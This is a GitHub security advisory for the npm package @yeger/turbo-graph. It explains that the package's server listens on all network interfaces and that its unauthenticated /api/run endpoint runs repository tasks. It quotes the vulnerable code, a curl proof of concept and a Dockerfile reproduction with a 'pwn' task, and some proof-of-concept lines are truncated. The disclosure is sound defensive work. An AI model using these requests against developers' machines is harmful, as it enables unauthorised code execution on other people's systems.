GitHub Advisoryadvisory · npm
GHSA-2r5q-h53f-9rp3 @yeger/turbo-graph: Unauthenticated Network-Exposed Task Execution via /api/run
HIGH
Official page ↗
- Aliases
- CVE-2026-59160
- Ecosystem
- npm
- Packages
- @yeger/turbo-graph
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-306
- Reviewed
- 2026-09-09
Affected packages
• npm @yeger/turbo-graph: < 2.8.12 → fixed in 2.8.12
Description
Unauthenticated Network-Exposed Turborepo Task Execution via /api/run
Summary
`@yeger/turbo-graph` starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (`0.0.0.0:29312` by default). The `/api/run` HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via `spawn()`. Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim's repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer's OS user.
Details
Two independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability:
Flaw 1 — Server bound to all interfaces (not loopback)
`packages/turbo-graph/src/index.ts:44` calls `.listen(options.port, callback)` without passing a hostname argument. Although `const hostname = 'localhost'` is declared at line 19, it is used only for constructing the console log URL and is never passed to `listen()`. Node.js therefore defaults to binding on `0.0.0.0` (all IPv4 interfaces) and `::` (all IPv6 interfaces), making the server reachable from the local network segment.
```ts
// packages/turbo-graph/src/index.ts
19 const hostname = 'localhost' // used only for console URL, not for listen()
...
44 .listen(options.port, () => { // hostname argument missing → 0.0.0.0 bind
45 const url = `http://${hostname}:${options.port}`
```
Flaw 2 — Unauthenticated `/api/run` task execution endpoint
`packages/turbo-graph-ui/app/api/run/route.ts:156–177` defines `GET()`, which reads `tasks`, `filter`, and `force` from the request query string and passes them directly to `buildResponseFromArgs`, which appends them to a Turbo CLI argument array and calls `spawn()`. There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler.
```ts
// packages/turbo-graph-ui/app/api/run/route.ts
156 export function GET(req: NextRequest) {
157 const url = new URL(req.url)
159 const tasksParam = url.searchParams.getAll('tasks') // attacker-controlled source
171 const filter = url.searchParams.get('filter') ?? undefined
176 return buildResponseFromArgs(tasks, filter, req.signal, { force })
// buildResponseFromArgs — packages/turbo-graph-ui/app/api/run/route.ts
20 const args: string[] = ['run', ...tasks] // tasks inserted directly
25 args.push(`--filter=${trimmed}`)
31 args.push('--force')
34 const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } })
// ^ sink: arbitrary task execution
```
Because `spawn()` is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in `turbo.json` of the victim's repository can be selected and run without restriction.
PoC
Environment setup (victim machine):
```bash
mkdir /tmp/tg-poc && cd /tmp/tg-poc
cat > package.json turbo.json with the victim machine's LAN IP address.
curl -N "http://:29312/api/run?tasks=pwn&force=true"
```
Expected outcome:
• The server returns HTTP 200 with a `text/event-stream` response.
• An SSE `start` event is received with `args: ["run", "pwn", "--ui=stream", "--force"]`, confirming that the unauthenticated request was accepted.
• The file `/tmp/turbo-graph-poc` is created on the victim machine with content `owned`, proving arbitrary task execution.
Containerized reproduction (automated):
The enclosed `Dockerfile` and `poc.py` provide a self-contained reproduction. Build and run:
```bash
docker build -t vuln-001-poc
docker run --rm vuln-001-poc
```
The container confirmed all three evidence points during Phase 2 dynamic testing:
1. `ss -tlnp sport=:29312` → `LISTEN 0 511 *:29312` (all-interface binding confirmed)
2. `GET /api/run?tasks=pwn&force=true` → HTTP 200, SSE `start` event with `args: ["run","pwn","--ui=stream","--force"]` (no token required)
3. `/tmp/poc-proof.txt` created with content `PWNED:` (arbitrary task execution confirmed)
Impact
This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any unauthenticated attacker reachable on the same network segment as a developer running `turbo-graph` can execute arbitrary Turborepo tasks defined in that developer's repository.
Depending on the tasks configured in the victim's `turbo.json`, the impact includes:
• Confidentiality (High): Tasks that read secrets, generate build artifacts, or invoke cloud CLI commands can exfiltrate sensitive data.
• Integrity (High): Tasks that write files, run migrations, commit code, or invoke deployment scripts can permanently modify the victim's project or infrastructure.
• Availability (High): Tasks that delete data, exhaust resources, or run destructive build steps can disrupt ongoing development work.
The attack requires no credentials, no prior access, and no interaction from the victim beyond having `turbo-graph` running. The default port (`29312`) is static and predictable, making targeted network scanning straightforward. All users who run `npx turbo-graph` or install `@yeger/[email protected]` in a shared or corporate network environment are affected.
Reproduction artifacts
`Dockerfile`
```dockerfile
VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/[email protected])
Layout:
/victim/ - simulated developer workspace that runs turbo-graph
/victim/pwn.js - the task payload executed when the attacker fires /api/run
/poc.py - attacker script: sends unauthenticated GET /api/run?tasks=pwn
Build:
docker build -t vuln-001-poc
Run:
docker run --rm vuln-001-poc
FROM node:20-slim
System tools:
python3 - runs poc.py
iproute2 - ss(8) for socket-binding introspection (evidence collection)
RUN apt-get update && \
apt-get install -y --no-install-recommends python3 iproute2 && \
rm -rf /var/lib/apt/lists/*
---------------------------------------------------------------------------
Victim workspace: a minimal Turborepo project that a developer might run
---------------------------------------------------------------------------
WORKDIR /victim
package.json: defines the 'pwn' task script and package dependencies.
@yeger/[email protected] is the vulnerable package (from DerYeger/yeger).
turbo satisfies the peerDependency and provides node_modules/.bin/turbo.
RUN echo '{"private":true,"name":"victim-project","packageManager":"[email protected]","scripts":{"pwn":"node /victim/pwn.js"},"devDependencies":{"@yeger/turbo-graph":"2.8.8","turbo":"^2.0.0","react":"^18.0.0","react-dom":"^18.0.0"}}' \
> /victim/package.json
turbo.json: declares the 'pwn' task with caching disabled so it always runs.
RUN echo '{"tasks":{"pwn":{"cache":false}}}' \
> /victim/turbo.json
pwn.js: task payload — writes a timestamped proof file and logs to stdout.
When an attacker sends GET /api/run?tasks=pwn, turbo-graph runs this script.
RUN echo 'const fs = require("fs"); const ts = Date.now()…
Related
Alias · CVE (1)
- CVE-2026-59160 Yeger is a monorepo for npm packages maintained under the yeger scope. vulnerability
Weakness · CWE (1)
- CWE-306 Missing Authentication for Critical Functionality weakness